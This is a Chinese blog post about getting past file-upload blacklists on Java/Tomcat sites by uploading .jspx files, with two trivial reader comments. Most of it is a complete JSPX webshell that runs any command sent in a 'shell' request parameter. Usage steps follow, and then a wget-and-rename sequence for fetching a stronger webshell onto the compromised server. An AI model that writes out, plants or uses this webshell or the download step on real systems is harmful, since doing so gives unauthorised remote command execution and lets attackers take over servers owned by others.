前几天在做一个Java Web网站安全测试的时候在文件上传的地方发现了可以白名单绕过的地方,使用的是JSPX白名单绕过,在这里分析一下思路和脚本。
0x01 关于JSPX
你可以将JSPX理解为JSP的一个升级版,语法和JSP还是有点区别的额,百度上对他的描述也很简单。
在最新版本的Tomcat中JSPX是默认开启的,因为很多开发者可能不知道JSPX的存在,所以在写文件上传黑名单的时候可能就会忽视这一点,只禁止了JSP文件的上传却忽略了他的同胞兄弟——JSPX。
0x02 JSPX的WebShell
下面是JSPX的WebShell代码,直接保存为JSPX即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="1.2"> <jsp:directive.page contentType="text/html" pageEncoding="gb2312"/> <jsp:directive.page import="java.io.*"/> <html> <head> <title>jspx</title> </head> <body> <jsp:scriptlet> try { String cmd = request.getParameter("shell"); if (cmd !=null){ Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } } catch (IOException e) { System.err.println(e); } </jsp:scriptlet> </body> </html> </jsp:root> |
0x03 使用说明
这个WebShell来自于网上,只是一个轻量级的WebShell,只能执行shell命令,下面是使用姿势。
1、将文件保存为WebShell.jspx文件格式,并上上传到服务器。
2、使用下面的命令来执行:
3、看页面回显,如果权限足够,可以直接执行系统命令。
0x04 补充
这个WebShell功能单一,但是我们可以利用Shell命令从别的服务器下载功能更强大的Shell,比如在Linux下面可以用下面的命令下载一个功能强大的WebShell到服务器。
1 2 |
wget http://127.0.0.1/shell.txt mv shell.txt shell.jsp |
先下载一个txt的shell文件到服务器,然后更改为jsp文件执行。
ps:使用脚本要注意一点,你的shell当前目录并不是在WebShell目录下,记得使用pwd命令查看,不出意外应该是在用户根目录下面。
2018年9月27日 17:46 沙发
测试下
2018年9月27日 17:53 1层
@11 ????